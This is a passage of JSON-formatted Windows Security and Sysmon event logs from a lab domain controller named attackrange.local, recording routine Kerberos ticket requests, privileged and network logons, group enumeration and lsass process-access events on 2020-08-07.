PCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221574,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{782E8E6A-83BA-E0EA-C75F-90E759000376}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{782E8E6A-83BA-E0EA-C75F-90E759000376}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221575,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3BF80\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3bf80","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":221576,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x46c\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x46c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221577,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3BF80\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t0\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3bf80","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221578,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3C3BB\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3c3bb","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221579,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3C3BB\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t10.0.1.14\r\n\tSource Port:\t\t49709\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3c3bb","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"10.0.1.14","IpPort":"49709","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221580,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tSupplied Realm Name:\tattackrange.local\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"attackrange.local","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-001092C40300}\r\nTargetProcessId: 752\r\nTargetImage: C:\\Windows\\system32\\DllHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 